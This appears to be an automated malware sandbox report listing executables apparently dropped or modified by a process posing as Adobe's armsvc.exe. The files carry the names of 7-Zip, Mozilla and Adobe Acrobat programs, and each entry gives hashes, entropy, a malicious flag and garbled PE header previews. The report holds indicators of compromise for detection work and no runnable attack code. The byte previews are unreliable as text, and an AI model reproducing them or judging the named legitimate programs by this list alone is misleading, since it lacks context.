Preview:	2024-12-10 10:24:17-0500: Disabled unneeded token privilege: SeAssignPrimaryTokenPrivilege...2024-12-10 10:24:17-0500: Disabled unneeded token privilege: SeAuditPrivilege...2024-12-10 10:24:17-0500: Disabled unneeded token privilege: SeBackupPrivilege...2024-12-10 10:24:17-0500: Disabled unneeded token privilege: SeCreateGlobalPrivilege...2024-12-10 10:24:17-0500: Disabled unneeded token privilege: SeCreatePagefilePrivilege...2024-12-10 10:24:17-0500: Disabled unneeded token privilege: SeCreatePermanentPrivilege...2024-12-10 10:24:17-0500: Disabled unneeded token privilege: SeCreateSymbolicLinkPrivilege...2024-12-10 10:24:17-0500: Could not disable token privilege value: SeCreateTokenPrivilege. (1300)..2024-12-10 10:24:17-0500: Disabled unneeded token privilege: SeDebugPrivilege...2024-12-10 10:24:17-0500: Could not disable token privilege value: SeEnableDelegationPrivilege. (1300)..2024-12-10 10:24:17-0500: Disabled unneeded token privilege: SeImpersonatePrivilege...2024-12-10 10:24:1

C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1512448
Entropy (8bit):	4.897855403674865
Encrypted:	false
SSDEEP:	24576:LQVTZu0Jd/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:8VTZusLNiXicJFFRGNzj3
MD5:	680DFBE855D22EE0570837F07CDC45D4
SHA1:	53262356F2BCF33728A454543EEE739A03B1CD0F
SHA-256:	1846E5437B05C28D0D4C911E182CF92DD8560A33EE6165862C7E346EF369548A
SHA-512:	1363BCBA1EED620184BE43EFA2BD3F4B79FEA11CDCD54761EAEB90F8D388DF846C396B29A3AF1907695B84D4853047E17321976FCA5B56465CA59D91FC1BF8F9
Malicious:	true
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......e.........."......R...$.................@.............................`"......n.... .................................................h&..................`....................$..........................(....p..8............,...............................text...FQ.......R.................. ..`.rdata.......p.......V..............@..@.data...4#...`.......<..............@....pdata..`............J..............@..@.00cfg..(............d..............@..@.tls.................f..............@....voltbl.*............h.................._RDATA...............j..............@..@.rsrc................l..............@..@.reloc...`...........t..............@...........................................................................................................................................................................................................................

C:\Program Files\7-Zip\7z.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1839616
Entropy (8bit):	5.246005749317532
Encrypted:	false
SSDEEP:	24576:8+gkEdfh4Co2/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:5gkE5SALNiXicJFFRGNzj3
MD5:	314C1D2294F9EA70912D9DB4387FC797
SHA1:	2ACEB24BAD7397B325450E619EA52AF5E6849302
SHA-256:	59E7A1340382FD49DE3D788E8C35BAAE28248994D6FEABA4994FBD06261BE494
SHA-512:	FE518B6690D9B6C372BED1629CDDFA580240507A84DBD17DCE12FAEDC7B0AAD9F6BBAA1945628F46868CB2307906EB9A7C5D68F1994720AC215699D4A30A3D92
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............xaX.xaX.xaX...X.xaX...X.xaX.x`XlxaX...X.xaX..eY.xaX...X.xaX`.bY.xaX...X.xaX...X.xaXRich.xaX........................PE..d....\.d.........."...........................@..............................0'......I.... .....................................................x............@...q......................................................................0............................text...v........................... ..`.rdata..T...........................@..@.data....-..........................@....pdata...q...@...r..................@..@.rsrc................j..............@..@.reloc...`...........r..............@...........................................................................................................................................................................................................................................................

C:\Program Files\7-Zip\7zFM.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1532416
Entropy (8bit):	7.089472753375162
Encrypted:	false
SSDEEP:	24576:bBpDRmi78gkPXlyo0Ghjr1/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:tNRmi78gkPX4o0GhjhLNiXicJFFRGNzb
MD5:	027BBAE2D66E3A61C7211DE15C20C02E
SHA1:	954C6A65426475DAE89344B5D882200FEB051B0E
SHA-256:	6CF5C658D3C510C97ACECE7ED8E7AA8F53C1A742054EF539D971CB24A8F0AF4B
SHA-512:	66806CD4A2E0D578E62613D6F4044FAEDA5436434256EC01DB01C0A57458E20141A425D80BCB76B2E142373126D9503AFDA37D0513A6F1DD2EBC4FBD58B29769
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........\..2..2..2.0.\..2..I..2..3..2..O..2..\.D.2...6..2.._..2..N..2..J..2.Rich.2.........................PE..d....\.d.........."......b...8......Pi........@......................................@.... .................................................P................... .......................................................................(.......@....................text....a.......b.................. ..`.rdata...i.......j...f..............@..@.data...............................@....pdata.. ...........................@..@.rsrc...............................@..@.reloc...............r..............@...........................................................................................................................................................................................................................................................

C:\Program Files\7-Zip\7zG.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1282048
Entropy (8bit):	7.22000048740635
Encrypted:	false
SSDEEP:	24576:ELOS2oPPIXV2/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:c/P5LNiXicJFFRGNzj3
MD5:	930237237FDDCFAC3F5B0D9D38550956
SHA1:	AD0225CBE82095495C30E8756CA7BABBB1652CB7
SHA-256:	9EB74D68BE5CB8DDE07C6E3A01DC3FDA38526E20E3468FE3CCB40050B5146C39
SHA-512:	F4671871DCA54BEF0C5F2964B6DE310589AF08AA5BE934EB3F59F67FE877CAD8EFF759762E983A5A63E1190B8ED55A8C2E5117B72280078A73ADAE35C87498FD
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......;.VS.y8..y8..y8...C.jy8..y9..y8...E.}y8...V..y8.i.<.~y8...U.ky8...;.~y8...D.~y8...@.~y8.Rich.y8.........PE..d....\.d.........."......&..........."........@........................................... ..............................................................d...........................................................................@...............................text...4$.......&.................. ..`.rdata..Ts...@...t...*..............@..@.data...83..........................@....pdata..............................@..@.rsrc....d.......f...:..............@..@.reloc..............................@...........................................................................................................................................................................................................................................................................

C:\Program Files\7-Zip\Uninstall.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1300992
Entropy (8bit):	4.5288942976894075
Encrypted:	false
SSDEEP:	24576:eYg/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:wLNiXicJFFRGNzj3
MD5:	9DF4954BD75A0ECFFB9817F3874B6BF6
SHA1:	EC34E6A2AC618350659B7679E30204EE73AF127B
SHA-256:	5378EB149719AF99C8104A46FEDE68F24A918AE517F6DF3A571727D04B55442F
SHA-512:	2D029250E377C5D6210C2935242BB54269A1CB77900A99ED75EFBF33FCF6124F979C371DD32BAFDDEF422639AD10F68CDC03C4DED1A2E69879730F105FFE2E03
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......S.6...X...X...X.x.R...X..V...X.x.\...X......X...Y.W.X......X.!.R...X...^...X.Rich..X.................PE..L...pN.d........../..........@......f!.......0....@..................................7......................................$9.......`...............................................................................0...............................text............................... ..`.rdata.......0......................@..@.data...X....@.......(..............@....rsrc....p...`.......*..............@...........................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\ADNotificationManager.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1222656
Entropy (8bit):	6.698843306440181
Encrypted:	false
SSDEEP:	24576:xtdzn/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:xtdTLNiXicJFFRGNzj3
MD5:	B8A0F52455AEBEE5620BECE314FEEB17
SHA1:	1356775DDA03E31E20C4068BA4F12633C4868245
SHA-256:	883B2E976AF92B4EEE2754180B9E0132D3760AC54C20917EDDFA214F5A54CCD5
SHA-512:	15B93CBE1B65955BFAACFA56AC76866959BE25A4414F7E81027A089EBABABD0DD1FE60139FA2DBC3D81B75411940FAC581654F7F93260F86D04936E34FD3A8D4
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........U...4.F.4.F.4.F.LEF.4.FE@.G.4.FE@.G.4.FE@.G.4.FE@.G.4.F._.G.4.F.4.F%4.FG@.G.4.FG@)F.4.F.4AF.4.FG@.G.4.FRich.4.F................PE..d......d.........."......6.....................@...................................._..... .....................................................\|....P..h........9.....................p.......................(...P...8............P...............................text....4.......6.................. ..`.rdata..>....P.......:..............@..@.data...............................@....pdata...9.......:..................@..@.rsrc...h....P......................@..@.reloc..............................@...................................................................................................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\ADelRCP.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1613312
Entropy (8bit):	4.676581003461684
Encrypted:	false
SSDEEP:	12288:lvfiJw/9Rrw0R1u4V/0YG3wx6EcJHUEhPUotFZr+1izHGNe8jKk34z:d/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz
MD5:	B2E78EF5436134D816274DF08D6DE63B
SHA1:	528CB5AA9154AFE0EE202B57283FC5336FB17BB6
SHA-256:	689466105E49E18600A29EE51804AB213B6D3EF7077DE37669E02D08765E220B
SHA-512:	1608B8F2DDDB0CE0C7619CDA3BC30589AE469A4C62CE3472D6106C3174CFCA4324CCF51683098DB9B92DE1EA42E7A2D380EC672768343DAB4CA7452F4E5EFC7A
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$.......]../...\|...\|...\|B..}...\|B..}...\|...}...\|..S\|...\|..}=..\|..}...\|..}...\|..}...\|..=\|...\|o..\|...\|B..}...\|...\|...\|..}...\|..Q\|...\|..9\|...\|..}...\|Rich...\|................PE..d......d.........."......H...........&.........@..............................#........... .................................................@...,....@..........4......................T.......................(...@...8............`...............................text....G.......H.................. ..`.rdata.......`.......L..............@..@.data...............................@....pdata..4...........................@..@.CRT....@....0......................@..@.rsrc........@......................@..@.reloc...`...P......................@...................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroBroker.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1616896
Entropy (8bit):	5.04354183114732
Encrypted:	false
SSDEEP:	24576:C5zhM1XSFy/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:YMskLNiXicJFFRGNzj3
MD5:	B2AFA23B7A641C70CA29D8B11124F6E4
SHA1:	3E3A514FB6D9F20C275CF8FF8566D86ECA40337E
SHA-256:	7E571C5C7F047285362B40E4EE1E4119A4497E3D5D01912E1ABA179326DA8F18
SHA-512:	278AE6AF17CF088CFA345FFC7CF74AE5BADAD772CDD072F490B0FB962CA7636F3629E513FF0A840B4777D9E638CFFC5448A5524D6EB47291E47A75BA6252ED14
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$.........<$.Rw.Rw.Rw...w..Rw5.Vv.Rw5.Qv.Rw5.Sv.Rw7.Sv.Rw..Vv.Rw..Tv.Rw..Sv..Rw.Sw..Rw5.Wv.Rw.t/w.Rw.t?w..Rw7.Wv.Rw7.Vv.Rw7.w.Rw..w.Rw7.Pv.RwRich.Rw........PE..d......d.........."..........z......@..........@..............................#......P.... ................................................. A...................+......................T.......................(.......8............................................text............................... ..`.rdata..............................@..@.data....d...`...\...T..............@....pdata...+.......,..................@..@.rsrc............0..................@..@.reloc...`...0......................@...........................................................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\AcroCEF.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	4151808
Entropy (8bit):	6.496760651755457
Encrypted:	false
SSDEEP:	49152:ftuUC0nNc/RcYHCY9AWWnUOqdHIEogMAYrukdUmSC+bXMZQU1QqpN7559LNiXico:fjEIa3HIEWOc5T7wRGpj3
MD5:	0F8FC9A358083CAADBBBB7912FEF47C3
SHA1:	74E658B8987111E97CB0CAE3C0F89B76E6F6B54C
SHA-256:	349A7444295676944AA085B97DAA2124AEBE0F6332CE863EFFC4552884A71B42
SHA-512:	4904DC1D88A5A0087FFD52051F6C3D8BB15126EC5C0F4FB2500F862183A9B7020AD2C601AD43C85992675A289E2ED2B9ADD127F1CD7876B1F3645D921C86B448
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...................................0...........!..L.!This program cannot be run in DOS mode....$........x...............r.......r.......r.......v$.....>m......>m......>m.......r...............r..............<m......<m......<m&.......N.....<m......Rich............................PE..d...<..d.........."......:....................@............................. @.......?... .........................................0.%.......%......0)......p'.......................!.T.....................!.(....s .8............P......l.%......................text....8.......:.................. ..`.rdata.......P.......>..............@..@.data....D... &.......&.............@....pdata.......p'.......&.............@..@.didat........).......(.............@..._RDATA....... ).......(.............@..@.rsrc........0).......(.............@..@.reloc...@....6..0...*6.............@...................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\SingleClientServicesUpdater.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	59941376
Entropy (8bit):	7.999353919934817
Encrypted:	true
SSDEEP:	1572864:IQb5m2CYw2bheyHA2DiAVPNqCPiQwm9tqGWS15Vj9QVqd2+NAs:HXhwMhe6AABPiQwF6xQ22R
MD5:	CC050E1E622C717EA4067C27916E9BE4
SHA1:	8229F591FD4724120D0FEA452246393B07353F51
SHA-256:	46F18420DB74C9EA48DA7D50B7FABCB71AB50CF86DAC5CA3A13F9FD978D5537A
SHA-512:	1CAD01BB05C96E0352E4B26CB8863F38C8FE3AAA14CC7FEE7B3398F9F3957D8AC541D1C5B4A7512515446B07BB7D3DF219089BC4B58724D9B1EFE01BAF672058
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......;......J...J...Jk.Kt..Jk.Kl..Jk.K..J..Kn..J..Ku..J..K+..Jk.Kt..J...J..J..Kf..J..Kt..J..@J~..J..(J}..J..K~..JRich...J................PE..d...z..d..........".................3.........@.............................0......5..... .....................................................x....`.........06..................8%..T....................&..(...Pg..8............ ......@...@....................text............................... ..`.rdata...}... ...~..................@..@.data...TS..........................@....pdata..06.......8..................@..@.didat..x....@......................@..._RDATA.......P......................@..@.rsrc.......`.....................@..@.reloc.......@.....................@...................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroTextExtractor.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1335808
Entropy (8bit):	4.5925875554258395
Encrypted:	false
SSDEEP:	12288:MWCiJw/9Rrw0R1u4V/0YG3wx6EcJHUEhPUotFZr+1izHGNe8jKk34z:M1/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz
MD5:	D95035800FAB1B23481B34CB0A97B618
SHA1:	AD2331DD9D4272195C19F7493243AD03E62EA73F
SHA-256:	578544DF111182B74B26908B2649243FE3916BBF8A45707F44E71E42577065EC
SHA-512:	5BC1E41E7536034EBB02D964981F96D0B79AF6983DF8967143CFE049D0EE0AC7C5DDD1259586437B33B81E5B105419E714B4BA1F9B2495A5230780382DCF690E
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........e....b..b..b.\|...b.epf..b.epa..b.epg..b.epc..b.oc..b..c.2.b.gpg..b.gp...b.....b.gp`..b.Rich..b.................PE..d...R..d.........."......l...Z.......m.........@.............................P............ .....................................................\|.......p.......@.......................T.......................(.......8............................................text...>k.......l.................. ..`.rdata..J:.......<...p..............@..@.data...............................@....pdata..@...........................@..@.rsrc...p...........................@..@.reloc...`..........................@...................................................................................................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6210048
Entropy (8bit):	6.384603542885844
Encrypted:	false
SSDEEP:	49152:PDvZEaFVUn+Dpasot2xQevgjCGT7lmPIionqOgBhGl6zVLkVEk3yV07U24GEQTXN:onN9KfxLk6GEQTXsUKzNDY7wRGpj3
MD5:	245F864C7B1DF5D2B18438E9315E5028
SHA1:	275A02A9C7520747786BFB2D8EE7D7864619BD77
SHA-256:	D3BE7F9321C6844DDB487094C650E4068C6C75F961710ACAA0AC39A0756D5997
SHA-512:	9975A6CA45B8E45724A5FC7B83304D297740AE1A15822A51EA7C798EC50E86170B4EDF415A12721A82222BC4CE6234801DC0785F0853E8EFC137302200F73DD7
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...................................0...........!..L.!This program cannot be run in DOS mode....$.......;..j...9...9...9k..8r..9k..8...9...8l..9...8t..9..p9\|..9...9...9...8...9k..8\..9k..8}..9k..8n..9...9...9...8Y..9...8~..9..r9~..9...9\|..9...8~..9Rich...9........................PE..d......d.........."......V4..,"......L(........@.............................._......._... ..........................................<F.\|....EF.x....0K..V...@H......................n;.T....................o;.(....:.8............p4..... .F.`....................text...,T4......V4................. ..`.rdata..@....p4......Z4.............@..@.data...l.....F......nF.............@....pdata.......@H......vG.............@..@.didat.. .....K......>J.............@..._RDATA....... K......HJ.............@..@.rsrc....V...0K..X...JJ.............@..@.reloc...0....V.. ....U.............@...................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\AcrobatInfo.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1312768
Entropy (8bit):	4.543813792275687
Encrypted:	false
SSDEEP:	12288:JoiJw/9Rrw0R1u4V/0YG3wx6EcJHUEhPUotFZr+1izHGNe8jKk34z:Ja/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz
MD5:	BACB1119FAE5E1E1C2C98882EA15F66E
SHA1:	8434302800097EEF4A8BDDAAE2F253D0E5BB94A3
SHA-256:	289BD5061BACBB38FAD4AC6B6B7430ACEEFE62F550B7EF0F995DDA34AA3F3866
SHA-512:	1F7A6B8A21E2FB9E76E6D29E89A2553244FB5C2E4302DC6347797EBF736F5BBAC8529AAB3C916797919C1B5F771FAF439A89E0289F5D25242793A29B052AC916
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......<.tKx...x...x...q..t.......c.......r.......{.......~...l...}...x...........\|.......y...x...y.......y...Richx...................PE..d......d.........."..........>.......0.........@.....................................b.... .................................................lV..........h...........................PI..T....................K..(....I..8............@...............................text....,.......................... ..`.rdata..4"...@...$...2..............@..@.data........p.......V..............@....pdata...............X..............@..@.rsrc...h............\..............@..@.reloc...`...........h..............@...................................................................................................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\AdobeCollabSync.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	12039168
Entropy (8bit):	6.595653452819305
Encrypted:	false
SSDEEP:	98304:Jb+MzPstUEHInwZ33RBk9DdhgJCudq1uVIyESYgKt7wRGpj3:FnPgTHIwZnRBk9DdhSUEVIXgKRF9
MD5:	0BB5671DD6F19563D95FC684F7696486
SHA1:	174016145E5405C311D29E2BAAEEDD90135E8429
SHA-256:	7D862CE2F402240C3A09CF7D239941865C96FAFD70B6E94AA98BB5A78B6069A1
SHA-512:	1FA82540E34EA04E32599E98B1A70017BECE22649DBDAFEACE8D77745B84683C51854CBDA63403BDF88307B293ECE4F0F86AA4E5847F419C1735EAA8ABC33B1A
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...................................H...........!..L.!This program cannot be run in DOS mode....$.......&.w.bb..bb..bb..v...lb..v...b.....qb.....hb......ab......b..E.t.Vb..E.d.jb.....ib......b..v...\|b..v...cb.....`..bb..}b..v...Ab..bb..,`.....b.....cb.....cb..bb..`b.....cb..Richbb..........PE..d......d..........".........../.....0.F........@.....................................V.... ............................................\...,..h........G......Lz..................P..T......................(......8...........................................text............................... ..`.rdata..f. .......!.................@..@.data..............................@....pdata..Lz.......\|.................@..@.didat...............X..............@..._RDATA...............Z..............@..@.rsrc....G.......H...\..............@..@.reloc... .........................@...........................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1478144
Entropy (8bit):	4.826047714317898
Encrypted:	false
SSDEEP:	24576:pg5FvCPcs9/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:ufHGLNiXicJFFRGNzj3
MD5:	0A186775CF557473E261B32E15556C56
SHA1:	5B6CA554B021C54BC9B9277B6BA525C9FBC0D048
SHA-256:	EC5197558A74088496A04E271AA04B88CE3585E531EBDA28AE29AE1C3E4EF2D9
SHA-512:	5AD8390BFB8C94794C2CD6A84FD441DF1ABC4A968EFEDA16D6EC9CCA5074C4A48EE394B5D0EDCFC61B090BDEF441FE8B8748F626D3DF8E586C944847B25E0182
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........ z.A...A...A...9...A..O5...A..O5...A..O5...A..O5...A...*...A...A...@..M5...A..M5.A...A...A..M5...A..Rich.A..................PE..d......d.........."..........b.................@..............................!.....O..... .................................................X...h....p..p....P..t.......................T.......................(.......8............................................text...,........................... ..`.rdata.............................@..@.data........@.......&..............@....pdata..t....P......................@..@.rsrc...p....p.......B..............@..@.reloc...`... ......................@...................................................................................................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\CRLogTransport.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1339904
Entropy (8bit):	7.200171265633495
Encrypted:	false
SSDEEP:	24576:gjKTIsAjFuvt9fmFthMaT5U8aChaeuv/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:gjI/mPh7TT79OLNiXicJFFRGNzj3
MD5:	447EDF386DCBEFC7BB3C73755F9D244D
SHA1:	49BD27A0E57F8AD3271C91AB05508CEB0FAC2F54
SHA-256:	F18ECAED306B3E02E3F184BB8AAFECA4EAB41908A58592ED2723303A9C25CB0C
SHA-512:	AC63938B0D1F0615E80C508E08D709419E2F66AE5E49250E9AAE8E7EE13A78E55AD35CBA8B17C711AAE7DE9151BBD415E082A651970079E1BAB4D938FF646D27
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$......................................s...X............................[....U=....................h...n......n.Y.....1....n......Rich...........PE..d......c..........".................0i.........@..............................$.....oR.... .................................................H...d............@..Tx......................p...................`...(...`................................................text............................... ..`.rdata..@...........................@..@.data....>......."..................@....pdata..Tx...@...z..................@..@.rsrc................z..............@..@.reloc..............................@...................................................................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\CRWindowsClientService.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1671168
Entropy (8bit):	5.004961343913047
Encrypted:	false
SSDEEP:	24576:uGqVwCto1Om5WgL/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:bZ1OmUILNiXicJFFRGNzj3
MD5:	DCBC027CA9E8C526E6EB0DA34DD53ED1
SHA1:	5FDDFB306550304FB4DF88E939F304194C435376
SHA-256:	36976E591D62BDA0BB0CFA60D7D52E7484D76D63E3D4F11C0D31DD76CAE7B843
SHA-512:	8C40AB0C6200A63B221E19F0F805B49DE8D1C24063A69C1733D0E5233D1BF8494D0A266C8F98A68531CA038251F10AF27F36A1AEA179961EC15E235E8A8223B3
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.....................v......................................a..X.....X........r....X.....Rich...........PE..d......c.........."............................@..............................$........... .................................................. ...........v..............................p.......................(....................0...............................text............................... ..`.rdata..Z$...0...&..................@..@.data...x"...`.......@..............@....pdata...............L..............@..@.rsrc....v.......v...j..............@..@.reloc...`...0......................@...................................................................................................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\Eula.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1409024
Entropy (8bit):	4.686406931438888
Encrypted:	false
SSDEEP:	24576:qWBWZ/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:oLNiXicJFFRGNzj3
MD5:	7FF04FFF284749125B6AC03F37A3BC58
SHA1:	6900E3E84072F515060B7BEBFC1BB1AC79E4ED9E
SHA-256:	30D342C90F32CB41725B53E5C53594A7A6055F6B2F83AF7735CDBF4F3248B252
SHA-512:	846DBA4427A610B4AA5E49F633F916FC7521CAC367A22DA1D2C7AD6FB04E26EA4670D9C54C6107D1B3BD06AD327031EF306C4BA6A65B07A880891C81F654C3F8
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1.v.Pc%.Pc%.Pc%.(.%.Pc%C$g$.Pc%C$`$.Pc%C$f$.Pc%C$b$.Pc%.;g$.Pc%.;b$.Pc%.Pb%EPc%z$f$.Pc%z$.%.Pc%.P.%.Pc%z$a$.Pc%Rich.Pc%................PE..d...DC,d.........."............................@.............................p .....1Y.... .................................................h...@.......@............................Q..T....................S..(... R..8............0...............................text............................... ..`.rdata..$....0......................@..@.data...............................@....pdata..............................@..@.rsrc...@...........................@..@.reloc...`..........................@...........................................................................................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\LogTransport2.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1683968
Entropy (8bit):	7.221676640034297
Encrypted:	false
SSDEEP:	49152:M+GtCi27mVdyT+a08LNiXicJFFRGNzj3:nmd2757wRGpj3
MD5:	4934B0E60A2C91D278D8D6A553E355EB
SHA1:	8B3F5ABC07C1B94E7D8A41CCDB7D4F08C9F54A55
SHA-256:	758FDA9C897AFB370A24EEB8339527509D05D819F9097B9C4359E7A7C9FFC827
SHA-512:	B56E97044464EBAEF53CA2BF6056B7D55E6EA8BAE9AA7783B73E5F18A7CB86BAB4C8E2528752522AAFAF41341634999A9879042946A37320A7B77F21FCF5C9B2
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$........ ..N...N...N......N.e.K...N...O...N...J...N...M...N...H...N...K...N...#...N.<~3...N..C3...N...O...N...O.O.N...F...N.......N......N...L...N.Rich..N.................PE..d...%..c.........."......j...t......@..........@....................................2..... .................................................x........... ....p..dt......................p.......................(... ...8............................................text...kh.......j.................. ..`.rdata...............n..............@..@.data...`S.......F..................@....pdata..dt...p...v...D..............@..@.rsrc... ...........................@..@.reloc..............................@...........................................................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_acro.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	3110912
Entropy (8bit):	6.6468730531563995
Encrypted:	false
SSDEEP:	49152:dU198PzqkltcT0gViqNfBZQiOIK5Ns6YZ82PTJeYzLNiXicJFFRGNzj3:S9NfHOIK5Ns6qR9J7wRGpj3
MD5:	2B9B399931F73C11A631FC2927EE8708
SHA1:	8D8A6810539D2516F88B56875D98FEE1BA5D3454
SHA-256:	64458948814B3779F2C8A1C5C1C2DB226C39BB77E516E5763B98431E9FABE5FE
SHA-512:	97163E36784E1628BB0819C442429E4D5FD0B5785E077D29FCC0F4E6F116B8679A40410FDD680CFBB4987A2201F91F950D4651DBA9F545D1B3E68F23CE74FDDE
Malicious:	true
Reputation:	unknown
